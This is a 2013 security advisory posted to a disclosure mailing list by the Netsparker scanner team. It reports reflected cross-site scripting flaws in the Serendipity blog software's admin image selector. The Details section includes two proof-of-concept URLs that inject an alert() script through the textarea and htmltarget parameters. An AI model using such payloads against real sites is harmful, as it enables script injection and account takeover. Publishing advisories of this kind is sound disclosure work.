full-disclosure - XSS Vulnerabilities in Serendipity

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Date: Fri, 12 Jul 2013 14:29:52 +0300
From: Netsparker Advisories <advisories@...itunasecurity.com>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: XSS Vulnerabilities in Serendipity

Information
--------------------
Name :  XSS Vulnerabilities in Serendipity
Software :  Serendipity 1.6.2 and possibly below.
Vendor Homepage :  http://www.s9y.org/
Vulnerability Type :  Cross-Site Scripting
Severity :  Medium
Researcher :  Omar Kurt
Advisory Reference :  NS-13-003

Description
--------------------
Serendipity is a PHP-powered weblog application which gives the user an
easy way to maintain an online diary, weblog or even a complete homepage.
While the default package is designed for the casual blogger, Serendipity
offers a flexible, expandable and easy-to-use framework with the power for
professional applications.

Details
--------------------
Serendipity is affected by XSS vulnerabilities in version 1.6.2.

http://example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
http://example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117

You can read the full article about Cross-Site Scripting from here :
http://www.mavitunasecurity.com/crosssite-scripting-xss/

Solution
--------------------
The vendor fixed this vulnerability in the new version. Please see the
references.

Advisory Timeline
--------------------
26/02/2013 - First contact
04/03/2013 - Sent the details
10/07/2013 - Advisory released

Credits
--------------------
It has been discovered on testing of Netsparker, Web Application Security
Scanner - http://www.mavitunasecurity.com/netsparker/.

References
--------------------
Vendor Url / Patch : -
MSL Advisory Link :
https://www.mavitunasecurity.com/xss-vulnerabilities-in-serendipity/
Netsparker Advisories :
http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
--------------------
Netsparker® can find and report security issues such as SQL Injection and
Cross-site Scripting (XSS) in all web applications regardless of the
platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.
-- 
Netsparker Advisories, <advisories@...itunasecurity.com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/

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